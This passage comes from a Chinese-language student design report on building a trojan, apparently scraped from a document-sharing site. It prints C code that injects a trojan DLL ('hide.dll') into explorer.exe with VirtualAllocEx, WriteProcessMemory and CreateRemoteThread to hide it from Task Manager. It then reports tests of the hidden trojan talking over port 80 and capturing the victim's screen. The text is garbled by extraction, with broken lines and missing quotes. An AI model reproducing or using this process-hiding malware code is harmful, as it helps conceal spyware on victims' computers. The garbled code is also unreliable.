40、oteProcess=OpenProcess(PROCESS_CREATE_THREAD| PROCESS_VM_OPERATION| PROCESS_VM_WRITE, FALSE, dwRemoteProcessId); 由于我們后面需要寫入遠(yuǎn)程進(jìn)程的內(nèi)存地址空間并建立遠(yuǎn)程線程,所以需 要申請足夠的權(quán)限(PROCESS_CREATE_THREAD、VM_OPERATION、VM_WRITE)。 然后,我們可以建立 LoadLibraryA 函數(shù)這個線程來啟動我們的 DLL 木馬, LoadLibraryA 函數(shù)是在 kernel32.dll 中定義的,用來加載 DLL 文件,它只有 一個參

41、數(shù),就是 DLL 文件的絕對路徑名 pszLibFileName,也就是木馬 DLL 的全 路徑文件名,但是由于木馬 DLL 是在遠(yuǎn)程進(jìn)程內(nèi)調(diào)用的,所以我們首先還需要 將這個文件名復(fù)制到遠(yuǎn)程地址空間:(否則遠(yuǎn)程線程是無法讀到這個參數(shù)的) /計算 DLL 路徑名需要的內(nèi)存空間 int cb=(1+strlen(pszLibFileName)*sizeof(char); /使用 VirtualAllocEx 函數(shù)在遠(yuǎn)程進(jìn)程的內(nèi)存地址空間分配 DLL 文件名緩 沖區(qū) pszLibFileRemote = (PWSTR) VirtualAllocEx( hRemoteProcess, NULL, cb

42、, MEM_COMMIT, PAGE_READWRITE); 否 成功 成功 開 始 結(jié) 束 打開遠(yuǎn)程進(jìn)程 獲取 hide.dll 計算 hide.dll 長度 VirtualAllocEx 申請存放文件名的空間 pszLibFileNamepszLibFileNameWriteProcessMemory 把 DLL 文件名寫入空 間 fnStartAddr 獲取動態(tài)鏈接庫函數(shù)地 址 CreateRemoteThread 創(chuàng)建遠(yuǎn)程線程 CloseHandle 關(guān)閉遠(yuǎn)程線程 CloseHandle 關(guān)閉進(jìn)程快照 打開進(jìn)程快照 獲取第一個進(jìn)程 獵取 exploere 進(jìn)程 否 圖 1 基于遠(yuǎn)程線程

43、插入的程序流程圖 /使用 WriteProcessMemory 函數(shù)將 DLL 的路徑名復(fù)制到遠(yuǎn)程進(jìn)程的內(nèi)存空 間 ReturnCode = WriteProcessMemory(hRemoteProcess, pszLibFileRemote, pszLibFileName, cb, NULL); /計算 LoadLibraryA 的入口地址 LPTHREAD_START_ROUTINE fnStartAddr=(LPTHREAD_START_ROUTINE) GetProcAddress(phmd,LoadLibraryA); 我們通過建立遠(yuǎn)程線程時的地址 fnStartAddr(實際上就

44、是 LoadLibraryA 的入口地址)和傳遞的參數(shù) pszLibFileRemote(實際上是我們復(fù)制過去的木馬 DLL 的全路徑文件名)在遠(yuǎn)程進(jìn)程內(nèi)啟動我們的木馬 DLL: /啟動遠(yuǎn)程線程 LoadLibraryA,通過遠(yuǎn)程線程調(diào)用用戶的 DLL 文件 hRemoteThread = CreateRemoteThread( hRemoteProcess, NULL, 0, fnStartAddr, pszLibFileRemote, 0, NULL); 下面是本程序?qū)崿F(xiàn)遠(yuǎn)程線程插入的核心代碼: char pszLibFileNameMAX_PATH;/存放待隱藏的 DLL 文件名 HAN

45、DLE hProcessSnap=NULL;/進(jìn)程快照句柄 HANDLE hRemoteProcess;/遠(yuǎn)程進(jìn)程句柄 LPVOID pszLibFileRemote;/遠(yuǎn)程進(jìn)程中分配給文件名的空間 HMODULE phmd;/存放 kernel32.dll 句柄 HANDLE hRemoteThread1=NULL;/存放遠(yuǎn)程線程句柄 PROCESSENTRY32 pe32=0; DWORD dwRemoteProcessId; hProcessSnap=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);/打 開進(jìn)程快照 if(hProcessSn

46、ap=(HANDLE)-1) MessageBox(CreateToolhelp32Snapshot failed,MB_OK); return ; pe32.dwSize=sizeof(PROCESSENTRY32); if(Process32First(hProcessSnap, strcpy(te,pe32.szExeFile); if(!strcmp(te,explorer.exe)| !strcmp(te,EXPLORER.EXE) /找到宿主進(jìn)程,以 EXPLORER.EXE 為例 dwRemoteProcessId=pe32.th32ProcessID; break; while

47、(Process32Next(hProcessSnap,/獲取下一個進(jìn)程 else MessageBox(取第一個進(jìn)程失敗,MB_OK); return ; hRemoteProcess=OpenProcess (PROCESS_CREATE_THREAD|PROCESS_VM_OPERATION|PROCESS_VM_WRITE, FALSE, dwRemoteProcessId); GetCurrentDirectory(MAX_PATH,pszLibFileName); strcat(pszLibFileName,hide.dll); int cb=(1+strlen(pszLibFil

48、eName)*sizeof(char);/計算 dll 文件名 長度 pszLibFileRemote=(PWSTR)VirtualAllocEx(hRemoteProcess, NULL, cb, MEM_COMMIT, PAGE_READWRITE);/申請存放文件名的空間 BOOL ReturnCode=WriteProcessMemory(hRemoteProcess, pszLibFileRemote, pszLibFileName, cb, NULL);/把 dll 文件名寫入申請的空間 phmd=GetModuleHandle(kernel32.dll); LPTHREAD_ST

49、ART_ROUTINE fnStartAddr= (LPTHREAD_START_ROUTINE) GetProcAddress(phmd,LoadLibraryA);/獲 取動態(tài)鏈接庫函數(shù)地址 hRemoteThread1=CreateRemoteThread(hRemoteProcess, NULL, 0, fnStartAddr, pszLibFileRemote, 0, NULL);/創(chuàng)建遠(yuǎn)程線程 if(hRemoteThread1!=NULL) CloseHandle(hRemoteThread1);/關(guān)閉遠(yuǎn)程線程 if(hProcessSnap!=NULL) CloseHandle

50、(hProcessSnap);/關(guān)閉進(jìn)程快照 實現(xiàn)以上代碼就完成了對木馬進(jìn)程的隱藏,在任務(wù)管理器里是不會發(fā)現(xiàn)木 馬蹤跡的。只有借助能查看進(jìn)程模塊信息的軟件才能發(fā)現(xiàn)是否存在木馬,如優(yōu) 化大師,IceSword 等。 4.24.2 隱藏隱藏通信通信 4.34.3 木馬功能的實現(xiàn)木馬功能的實現(xiàn) 5 5系統(tǒng)測試系統(tǒng)測試 5.1 功能測試功能測試 測試環(huán)境:windows XP 系統(tǒng),局域網(wǎng) 測試項目:在服務(wù)器端實現(xiàn)進(jìn)程的隱藏,把木馬作為 explorer.exe 的一個 線程運行,并使用 80 端口通信,在客戶端實現(xiàn)對服務(wù)器端的抓屏 測試結(jié)果: (1)進(jìn)程的隱藏,如圖 1 圖 2 進(jìn)程隱藏 (2)客戶

51、端設(shè)置,如圖 2 圖 3 客戶端設(shè)置 (3)客戶端抓屏效果,如圖 3 圖 4 客戶端抓屏效果 測試結(jié)果表明,當(dāng)木馬在服務(wù)器端運行時,只有查看進(jìn)程模塊才能發(fā)現(xiàn)木 馬 蹤跡;客戶端設(shè)置完畢連接參數(shù),建立連接后能立刻收到服務(wù)器發(fā)送的數(shù)據(jù)并 顯示出來。達(dá)到課題設(shè)計要求。 5.2 性能測試性能測試 服務(wù)器端在木馬啟動前其桌面進(jìn)程 explorer.exe 其內(nèi)存和 CPU 使用如下圖 5 所示: 圖 5 使用前內(nèi)存占用圖 當(dāng)服務(wù)器端木馬啟動后,其桌面進(jìn)程 explorer.exe 其內(nèi)存和 CPU 使用如下 圖 6 所示: 圖 6 使用后內(nèi)存占用圖 從上面兩個圖我們可以看出,在木馬運行之前和木馬運行之后,其所隱藏 的進(jìn)程內(nèi)存使用和

溫馨提示

  • 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請下載最新的WinRAR軟件解壓。
  • 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
  • 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁內(nèi)容里面會有圖紙預(yù)覽,若沒有圖紙預(yù)覽就沒有圖紙。
  • 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
  • 5. 人人文庫網(wǎng)僅提供信息存儲空間,僅對用戶上傳內(nèi)容的表現(xiàn)方式做保護(hù)處理,對用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對任何下載內(nèi)容負(fù)責(zé)。
  • 6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容,請與我們聯(lián)系,我們立即糾正。
  • 7. 本站不保證下載資源的準(zhǔn)確性、安全性和完整性, 同時也不承擔(dān)用戶因使用這些下載資源對自己和他人造成任何形式的傷害或損失。

評論

0/150

提交評論